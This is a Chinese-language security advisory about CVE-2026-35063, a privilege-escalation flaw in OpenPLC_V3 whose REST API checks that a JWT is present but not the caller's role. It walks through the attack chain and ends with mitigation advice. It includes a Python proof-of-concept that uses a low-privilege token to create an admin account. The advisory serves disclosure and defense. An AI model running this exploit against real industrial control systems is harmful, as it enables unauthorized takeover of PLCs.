IPBUF安全漏洞报告
English
CVE-2026-35063 CVSS 8.8 高危

CVE-2026-35063 OpenPLC_V3权限提升漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-35063
漏洞类型
权限提升
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenPLC_V3

相关标签

权限提升OpenPLCCVE-2026-35063ICSJWT绕过

漏洞概述

OpenPLC_V3 REST API端点存在严重的权限验证漏洞。该接口仅检查JWT令牌是否存在,却未严格验证调用者的具体角色权限。因此,任何经过身份认证的低权限用户均可利用此漏洞删除任意用户(包含管理员),或直接创建新的管理员账户,从而获取系统的完全控制权,造成严重安全风险。

技术细节

该漏洞源于OpenPLC_V3在处理涉及用户管理的REST API请求时,存在严重的逻辑缺陷。服务器端代码仅验证了请求头中是否包含有效的JWT令牌以确认用户身份,但完全缺失了对令牌中声明的“role”字段进行权限校验的关键机制。攻击者首先以普通用户(role=user)身份登录,获取系统颁发的合法JWT令牌。随后,攻击者利用该令牌构造针对特定API端点的恶意HTTP请求。例如,攻击者可以在请求体中指定目标管理员ID以执行删除操作,或直接设定参数role=admin来创建新的管理员账户。由于后端未拦截此类破坏完整性的越权操作,攻击者成功实现从普通用户到管理员的垂直权限提升,进而完全控制OpenPLC系统。

攻击链分析

STEP 1
侦察与访问
攻击者识别目标OpenPLC系统,并通过注册或获取凭证的方式以普通用户身份登录。
STEP 2
获取令牌
攻击者使用低权限账户登录系统,获取服务器颁发的有效JWT令牌。
STEP 3
漏洞利用
攻击者利用该JWT令牌构造API请求,向用户管理端点发送包含恶意参数(如role=admin)的数据包。
STEP 4
权限提升
由于后端未校验角色,系统执行了创建管理员账户的指令,攻击者成功获得最高权限。
STEP 5
系统控制
攻击者使用新建的管理员账户登录,完全控制系统,包括删除日志、修改PLC逻辑等。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "http://target-ip:8080/api/users" # JWT token obtained from low-privilege user login # Attacker has "role": "user" jwt_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." headers = { "Authorization": f"Bearer {jwt_token}", "Content-Type": "application/json" } # Payload to create a new admin account # The API does not verify if the caller has 'admin' role payload = { "username": "hacker_admin", "password": "secure_password", "role": "admin" } # Send the request response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200 or response.status_code == 201: print("Successfully created an admin account!") else: print(f"Failed: {response.text}")

影响范围

OpenPLC_V3

防御指南

临时缓解措施
建议立即升级OpenPLC_V3至修复了该权限验证问题的最新版本。如果无法立即升级,应在网络层限制对REST API端口的访问,仅允许可信的内网IP地址连接,并暂时禁用普通用户的创建或删除权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表